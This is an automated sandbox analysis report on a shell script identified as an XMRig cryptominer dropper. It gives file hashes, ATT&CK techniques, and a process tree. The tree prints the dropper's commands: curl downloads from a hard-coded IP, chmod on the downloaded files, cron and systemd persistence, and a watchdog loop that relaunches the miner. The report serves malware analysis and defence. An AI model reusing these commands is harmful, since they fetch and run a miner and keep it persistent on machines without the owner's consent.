xmrig | 9ea42b8381008979ba761ab7dddf54b2cedc8f0db5f42199fb35e4e12cd15260

Analysis

max time kernel
142s
max time network
5s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
10/07/2026, 13:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
deploy.sh
Size 13KB
Sample260710-qp6vsscv21
SHA256 9ea42b8381008979ba761ab7dddf54b2cedc8f0db5f42199fb35e4e12cd15260
MD5 c5ff1408993537b73456cbab3fae18b5
SHA1 20e926dc172ac8e91614815e80f9bafbeadc3374
SHA512 f8b39820870662589bfda8df927c963536e63b73e202ef5f5decf0e3d7c1a480f7869a7e0b2e0dfa85fc61f9fd1f197e1fe4c46c112e9057a469dcd94eb75132
SSDEEP 192:2875rR474COKyAVF1mBt6e4egQq1GZ0HRit4Nmn5PH03/BNGBggGQd:T5VT4LyMiXn5PUQ
TLSH
T16E52A672BA65D57638ACC22C998E9110392B3AEB36183458B4ED76043FFC31D51F277A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

antivm defense_evasion discovery execution xmrig miner persistence privilege_escalation

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-7.dat	family_xmrig
behavioral2/files/fstream-7.dat	xmrig

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
709	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/softwaretechreview/softwaretech	765	bash
/softwaretechreview/softwaretech	810	bash
/softwaretechreview/softwaretech	826	bash
/softwaretechreview/softwaretech	841	bash
/softwaretechreview/softwaretech	854	bash
/softwaretechreview/softwaretech	868	bash
/softwaretechreview/softwaretech	882	bash
/softwaretechreview/softwaretech	895	bash
/softwaretechreview/softwaretech	910	bash
/softwaretechreview/softwaretech	923	bash

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.1NNLqH	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 10 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-user/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-user/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-user/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/277/status	ps
File opened for reading	/proc/317/status	ps
File opened for reading	/proc/74/status	ps
File opened for reading	/proc/filesystems	ps
File opened for reading	/proc/750/status	ps
File opened for reading	/proc/639/stat	ps
File opened for reading	/proc/158/status	ps
File opened for reading	/proc/584/status	ps
File opened for reading	/proc/138/stat	ps
File opened for reading	/proc/290/status	ps
File opened for reading	/proc/8/stat	ps
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/107/stat	ps
File opened for reading	/proc/326/status	ps
File opened for reading	/proc/6/stat	ps
File opened for reading	/proc/107/stat	ps
File opened for reading	/proc/15/status	ps
File opened for reading	/proc/7/stat	ps
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/104/stat	ps
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/18/status	ps
File opened for reading	/proc/106/stat	ps
File opened for reading	/proc/filesystems	ps
File opened for reading	/proc/317/stat	ps
File opened for reading	/proc/750/status	ps
File opened for reading	/proc/self/stat	ps
File opened for reading	/proc/10/status	ps
File opened for reading	/proc/17/status	ps
File opened for reading	/proc/107/stat	ps
File opened for reading	/proc/96/stat	ps
File opened for reading	/proc/576/status	ps
File opened for reading	/proc/15/stat	ps
File opened for reading	/proc/17/stat	ps
File opened for reading	/proc/21/status	ps
File opened for reading	/proc/43/stat	ps
File opened for reading	/proc/106/status	ps
File opened for reading	/proc/151/status	ps
File opened for reading	/proc/138/stat	ps
File opened for reading	/proc/640/status	ps
File opened for reading	/proc/733/status	ps
File opened for reading	/proc/641/status	ps
File opened for reading	/proc/168/status	ps
File opened for reading	/proc/21/stat	ps
File opened for reading	/proc/564/status	ps
File opened for reading	/proc/319/stat	ps
File opened for reading	/proc/9/status	ps
File opened for reading	/proc/296/stat	ps
File opened for reading	/proc/576/status	ps
File opened for reading	/proc/13/status	ps
File opened for reading	/proc/17/status	ps
File opened for reading	/proc/681/stat	ps
File opened for reading	/proc/564/stat	ps
File opened for reading	/proc/23/status	ps
File opened for reading	/proc/14/stat	ps
File opened for reading	/proc/20/status	ps
File opened for reading	/proc/41/status	ps
File opened for reading	/proc/28/stat	ps
File opened for reading	/proc/326/status	ps
File opened for reading	/proc/138/status	ps
File opened for reading	/proc/41/stat	ps
File opened for reading	/proc/296/status	ps
File opened for reading	/proc/661/stat	ps

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.cXvNz1	deploy.sh

/tmp/deploy.sh
/tmp/deploy.sh
1⤵
- Writes file to tmp directory
PID:643
- /usr/bin/curl
  curl http://45.225.135.18:4849
  2⤵
  - Checks CPU configuration
  PID:648
- /bin/mkdir
  mkdir -p /softwaretechreview
  2⤵
  PID:667
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:669
- /bin/hostname
  hostname
  2⤵
  PID:672
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:673
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:674
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:675
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:676
- /bin/mkdir
  mkdir -p /softwaretechreview
  2⤵
  PID:677
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:679
- /usr/bin/curl
  curl -fsSL --retry 3 --retry-delay 5 http://45.225.135.18/softwaretech -o /softwaretechreview/softwaretech
  2⤵
  - Checks CPU configuration
  PID:680
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:691
- /usr/bin/curl
  curl -fsSL --retry 3 --retry-delay 5 http://45.225.135.18/deploy/config.json -o /softwaretechreview/config.json
  2⤵
  - Checks CPU configuration
  PID:693
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:700
- /usr/bin/curl
  curl -fsSL --retry 3 --retry-delay 5 http://45.225.135.18/watchsoftware.sh -o /softwaretechreview/watchsoftware.sh
  2⤵
  - Checks CPU configuration
  PID:702
- /bin/chmod
  chmod +x /softwaretechreview/softwaretech /softwaretechreview/watchsoftware.sh
  2⤵
  - File and Directory Permissions Modification
  PID:709
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:711
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:712
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:714
- /bin/grep
  grep -qF /softwaretechreview/watchsoftware.sh
  2⤵
  PID:715
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:718
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:720
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:722
- /bin/mkdir
  mkdir -p /.config/systemd/user
  2⤵
  PID:727
- /bin/cat
  cat
  2⤵
  PID:729
- /bin/systemctl
  systemctl --user daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  PID:731
- /bin/systemctl
  systemctl --user enable softwaretech-watchdog.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:737
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:740
- /bin/systemctl
  systemctl --user start --no-block softwaretech-watchdog.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:741
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:745
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:747
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:748
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:749
- /bin/bash
  bash /softwaretechreview/watchsoftware.sh
  2⤵
  - Executes dropped EXE
  PID:750
- - /bin/cat
    cat /softwaretechreview/watchdog.pid
    3⤵
    PID:755
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:757
- - /bin/mkdir
    mkdir -p /softwaretechreview
    3⤵
    PID:758
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:759
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:760
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:761
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:763
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:762
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:764
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:767
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:765
- - /bin/sleep
    sleep 15
    3⤵
    PID:768
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:804
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:806
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:807
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:808
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:809
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:811
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:810
- - /bin/sleep
    sleep 15
    3⤵
    PID:813
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:820
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:822
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:824
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:823
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:825
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:827
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:826
- - /bin/sleep
    sleep 15
    3⤵
    PID:829
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:835
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:837
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:839
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:838
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:840
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:842
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:841
- - /bin/sleep
    sleep 15
    3⤵
    PID:844
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:848
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:850
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:852
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:851
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:853
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:855
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:854
- - /bin/sleep
    sleep 15
    3⤵
    PID:857
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:861
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:863
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:864
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:865
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:867
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:869
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:868
- - /bin/sleep
    sleep 15
    3⤵
    PID:871
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:876
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:878
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:880
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:879
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:881
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:883
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:882
- - /bin/sleep
    sleep 15
    3⤵
    PID:885
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:889
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:891
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:893
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:892
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:894
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:896
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:895
- - /bin/sleep
    sleep 15
    3⤵
    PID:898
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:904
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:906
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:908
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:907
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:909
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:911
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:910
- - /bin/sleep
    sleep 15
    3⤵
    PID:913
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:917
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:919
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:921
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:920
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:922
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:924
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:923
- - /bin/sleep
    sleep 15
    3⤵
    PID:926
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:751
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:752

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

config.json

Path /softwaretechreview/config.json
Size 6KB
SHA256 dd6d8856f3ac5aa006cef59b1c3aa5ec54b0b7ae3d74fffc43a3d64268d1508a
MD5 2b09be0174335c3d63a9d725b8c3f2bf
SHA1 db7fcef5534a97ac346b80743c71ffac3d87b271
SHA512 38c8045d37f385fd3c6cd66681d6f4b18028bb0ff0cca4e8f816112069803779d9e027e4a221010b50e29fb9439c19a838a3851dd61d6407d92ae24c2d6faa13
SSDEEP 192:LACgCZCInYS7CiWhZJOJJ2zDsTcTkjCduKG:LJhGXrJOJJYo4w2En
TLSH
T183E1DE21CA380DBB12A554AD89EC6383561CC1176E893C79711C998C2F0E73F75B7BEA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

deploy.log

Path /softwaretechreview/deploy.log
Size 78B
SHA256 e3de5ebeb82d089214a0f1462ceb8a0cb4e3841ca2efe3e286c18df5e2c8f764
MD5 8a81b4e4723fa4c13b57ebc28cc933f2
SHA1 dba428d22a98c576de29a8ee1974699a55c2b9d7
SHA512 ca830545f0909f7e57d5f7b12a623592e01222c03ba6187844cdcee85f975bdc5ce30356b0dabbe4cccdc3702e05dbf5db7ccee18118a4c91762504a277a08c8
MD5 SHA1 SHA512

Submit Download

deploy.log

Path /softwaretechreview/deploy.log
Size 162B
SHA256 421e754eda602cb45147c45b9b3158b6f8a93852d3d1fe43593a3a44fd97901f
MD5 15441c03cd258d714a3b42d3ef2df4cc
SHA1 5c96273f4d7e633d58aef1a44e6fb516239a9c7c
SHA512 d8c98b3dcd64550882711362d8235b9a421e07f2aecf8cd1bc5f1781a354f858a0244f461d835eeb21fbf3eea6e38cf006cbb311adaf46c8e6e68b5aa3149617
TLSH
T10CC012C0312A66E787C981C1C053F637718AF8E6411C4BD0F286BC24074B70E5EDC411
MD5 SHA1 SHA512 TLSH

Submit Download

deploy.log

Path /softwaretechreview/deploy.log
Size 240B
SHA256 f2adeb057a52ee95fe382d834b16d7db153b6969740ceb19155128b98e158098
MD5 2278240ee4ddbf308b686dda6f0834d7
SHA1 bed419fc4df019a27d95ba24496221d22b04edf4
SHA512 8ab77cb99d6ea036815fd611fd887fa2088348e75ae9e8b5c7bdc406a30319db8ed8d24395353f7725980142fb5c218133f994c22b16090871e0b371c9b98c9d
TLSH
T180D09BC0312E55E7C7D541C1C053F6377199F4A6411C4AD0F3967C24074B70E5EDC411
MD5 SHA1 SHA512 TLSH

Submit Download

deploy.log

Path /softwaretechreview/deploy.log
Size 321B
SHA256 e53879df3658b7791698fe2feda586033ecc7cfdc26a11ff0a3126f3530da004
MD5 4aa8b7d2c20028fb8ea8668016717ff2
SHA1 2a2bce4d45bb19212e70d14125f27e7e4049c4c3
SHA512 f858309c81297f45a58dd6a48594dbe05c0997c00387a53ba009bae0609750f09be14fac7f140fa8d1fccb44c14fb4b50b3b75dacb63256d396928c316453841
TLSH
T151E0C9C9312A59FA8BDA41C1C117FB63B199F9AA421809D0B7967828034BB0F6DAC410
MD5 SHA1 SHA512 TLSH

Submit Download

deploy.log

Path /softwaretechreview/deploy.log
Size 1KB
SHA256 8f2a496447066f270fd6fc20da7b855b97eb60c4087520f1d3f3a43e8e672f1a
MD5 2e956fad9cb171e077e47b9a94807787
SHA1 33cac9ceb5341d46bb75ede7137349a6c97878e4
SHA512 e1dd35431a4216ddd792790ea66f423a4c4f59c1b2cc8a4cad36252346746e92b7c6236740b94d1bc46302d5f1b8c29b49816c2809e6fadc9accaa1ef336bbf7
TLSH
T1A321E2C6316F16F746D901D1D14BFBA3AA8DB676110C189C73E72864230FB1B5DED426
MD5 SHA1 SHA512 TLSH

Submit Download

softwaretech

Path /softwaretechreview/softwaretech
Size 8.0MB
SHA256 b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
MD5 e1b3e738928012a07dfce8659b3ff31d
SHA1 c9bb4fc8eadaad35e50de087e3bbd5969cb2df2f
SHA512 cb8b152ebecad5cffdc635ee9ba7e7b3007772b16088aa48e1374e1230db52ae0f2b135369085e6c64a9e61821244b7b0fa2cb13d7fd48af1668c9133d942835
SSDEEP 98304:YSKSi/FM70AF/Auk3zX0H6aguAcFZqKjjMRPEkLqm7XyGkNA4xT0+x2gGYwZsVZ2:ssQLqmjsxymsONkEZqIzolQdo
TLSH
T17E865B47B6E318FDC19AC470472FD663BD70B8984221797B7698AA302F67E205B1DF21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

watchdog.pid

Path /softwaretechreview/watchdog.pid
Size 4B
SHA256 925592314026d1ddc2648e08319ba1e90b3b5f7423e337c54b70ff58b3cd033e
MD5 bd15954f8df68823ae7e008bfbf4a2e8
SHA1 cc2722f0c58d14a9327124c22c17f71c56a7635e
SHA512 ed6c498796c083558ed24ae161a29d3a44e0675b823dbb029b4d8795a9290a447b1fb40f5b4210b0d071d0393c6abc2c1f5270c512028b7cc9538786411e355f
MD5 SHA1 SHA512

Submit Download

watchsoftware.sh

Path /softwaretechreview/watchsoftware.sh
Size 4KB
SHA256 c8844ac426e19246c8a73b9952deda131b6bb452fafe4dbb984a8895914a9046
MD5 e8fd3e778e32b7dbcca44128cd15744c
SHA1 0af4e92937c9f1a8376a56e2445d76e5156e8eb7
SHA512 5f82581325ab4643103cab0c4c6958b0644ff74c66873d41f78ebd09bce329f6baf6fc14c8e4627bd8b646bb7db1ec5432b9905c22f361308a62b9ca927fa1ca
SSDEEP 96:IzLiPYa3jvvc9TbHlLYYLOwJmwvwSmt7rzzw:I3iBT3+TbFBywQwYSYnzM
TLSH
T178A194727F916B303A99C11C8A9ED252766B38BB36103868705D31907BEC71E51B2F74
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sh-thd.cXvNz1

Path /tmp/sh-thd.cXvNz1
Size 373B
SHA256 707a96429c20b62afc685b8e007b43f9fbd891c5b5caf45fc27f67314cd5ac96
MD5 9d889d234e81bee20bb3ac5e5faa5c84
SHA1 5f851128fb5e554729c524837fb4d89337bb4d78
SHA512 9d8e260915777b27391bc5f4fd4449b32dc14c60690e3dc8c98b0beee19ae15312fef688635e3570b6ba18ac0da315aec410cf0577e0e2c192c119479b1d31fc
TLSH
T153E06872376322F998878A159D439700E0472AE1C20E74EC3DC196CA10D074D8431364
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.1NNLqH

Path /var/spool/cron/crontabs/tmp.1NNLqH
Size 283B
SHA256 fb4a7340aa8b2f28abe08fdf8cb03bf45e1857451b33b5f5e510d07ce6ae8599
MD5 42b8b2c72e4c60304f164e7fa22d3aa1
SHA1 d2f71b2daa45da592013bfb0cac94aca8cbd5312
SHA512 dd47749c3ab587524f9d95971107a8de8c62f5a83ffaae1fd11485b0d6b6d9f69f84ff1a6e5e44a7a0f3e4396807e1d540a1d6357acc072e4322d610fe1c700c
TLSH
T154D02B3C3B01773C2D564340A81AC048798799F8C04DADD0F1CEA49D0327B4C5F56651
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads